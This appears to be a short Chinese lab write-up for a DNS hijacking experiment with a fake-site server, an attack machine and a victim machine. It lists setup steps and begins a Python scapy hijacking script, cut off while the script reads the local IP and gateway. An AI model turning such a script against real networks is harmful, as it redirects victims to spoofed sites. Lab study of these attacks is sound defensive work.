实验环境:
虚假网站端:虚拟机Windows server 2008
攻击机:Windows 7
靶机端:Windows 10
实验步骤:
设置虚拟机网络适配器为桥接模式
虚拟机设备设置
编辑虚拟网络编辑器
查询Windows server 2008的IP地址并搭建自己的网站
新建一个自己的网站(即攻击后劫持网站)
编写DNS劫持代码
from scapy.all import *
import sys
import os
import re
import time
from threading import Thread
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def main(ip1):
print(" ")
#获取本机上的IP及网关
for line in os.popen("route print"):
s=line.strip()
if s.startswith("0.0.0.0"):
localip=s.split()[3]
gw=s.split(